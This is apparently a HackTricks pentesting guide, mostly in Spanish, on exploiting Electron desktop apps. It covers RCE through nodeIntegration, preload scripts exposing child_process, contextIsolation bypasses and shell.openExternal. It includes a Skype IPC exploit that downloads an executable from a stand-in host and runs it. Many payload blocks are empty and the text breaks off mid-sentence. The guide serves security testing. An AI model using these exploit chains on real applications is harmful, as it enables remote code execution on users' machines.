# Aplicaciones de escritorio de Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introducción
Electron combina un backend local (con **NodeJS**) y un frontend (**Chromium**), aunque carece de algunos mecanismos de seguridad de los navegadores modernos.
Normalmente puedes encontrar el código de la aplicación Electron dentro de una aplicación `.asar`; para obtener el código necesitas extraerla:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
En el código fuente de una aplicación Electron, dentro de `packet.json`, puedes encontrar especificado el archivo `main.js` donde se establecen las configuraciones de seguridad.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron tiene 2 tipos de procesos:
- Proceso principal (tiene acceso completo a NodeJS)
- Proceso de renderizado (debería tener acceso a NodeJS restringido por razones de seguridad)
.png>)
Un **proceso de renderizado** será una ventana del navegador que carga un archivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Los ajustes del **renderer process** pueden **configurarse** en el **main process** dentro del archivo main.js. Algunas configuraciones **evitarán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
La aplicación Electron **podría acceder al dispositivo** vía Node apis aunque puede configurarse para impedirlo:
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- Integración de Node en Workers
- **`nodeIntegrationInSubframes`**- is `off` by default.
- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de las **Node.js APIs** en páginas web que se **cargan en iframes** dentro de una aplicación Electron.
- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe
Ejemplo de configuración:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Algunos **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Capturar tráfico
Modifica la configuración start-main y añade el uso de un proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Si puedes ejecutar localmente una Electron App, es posible que puedas hacer que ejecute código javascript arbitrario. Consulta cómo en:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Si la **nodeIntegration** está configurada en **on**, el javascript de una página web puede usar características de Node.js fácilmente simplemente llamando a `require()`. Por ejemplo, la forma de ejecutar la aplicación calc en Windows es:
```html
```
## RCE: preload
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Por lo tanto, el script puede exportar node-features a páginas:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **Si `contextIsolation` está activado, esto no funcionará**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
Si los contextos no están aislados un atacante puede:
1. Ejecutar **JavaScript arbitrario en renderer** (XSS o navegación a sitios externos)
2. **Sobrescribir el método integrado** que se usa en preload o en el código interno de Electron para tomar control de la función
3. **Provocar** el uso de la **función sobrescrita**
4. ¿RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass click event
Si hay restricciones aplicadas cuando haces clic en un enlace, podrías poder evitarlas **haciendo clic con el botón central** en lugar de un clic izquierdo regular
```javascript
window.addEventListener('click', (e) => {
```
## RCE a través de shell.openExternal
Para más información sobre estos ejemplos consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) y [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Al desplegar una aplicación de escritorio Electron, asegurar la configuración correcta de `nodeIntegration` y `contextIsolation` es crucial. Está demostrado que la **ejecución remota de código del lado del cliente (RCE)** dirigida a preload scripts o al código nativo de Electron desde el main process queda efectivamente prevenida con estos ajustes.
Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan listeners de eventos específicos, que son cruciales para la seguridad y la funcionalidad de la aplicación:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
These listeners are **sobrescritos por la aplicación de escritorio** para implementar su propia **lógica de negocio**. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión normalmente se toma mediante una función, `openInternally`. Si esta función devuelve `false`, indica que el enlace debe abrirse externamente, utilizando la función `shell.openExternal`.
**Aquí hay un pseudocódigo simplificado:**
.png>)
.png>)
Las prácticas recomendadas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría conducir a RCE a través de diversos protocolos. Los sistemas operativos soportan diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, puede consultarse [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la función `openExternal` puede explotarse para ejecutar comandos arbitrarios, por ejemplo `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Ejemplos de exploits de protocolos de Windows incluyen:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidad se puede encontrar en **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
El **webviewTag** es una **característica obsoleta** que permite el uso de **NodeJS** en el **renderer process**, por lo que debe desactivarse ya que permite cargar un script dentro del preload context como:
```xml
```
Por lo tanto, un atacante que logra cargar una página arbitraria podría usar esa etiqueta para **cargar un preload script arbitrario**.
Este preload script fue abusado entonces para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que llamaba **`shell.openExternal`** para obtener RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Lectura de archivos internos: XSS + contextIsolation
**Disabling `contextIsolation` enables the use of `` tags**, similar to `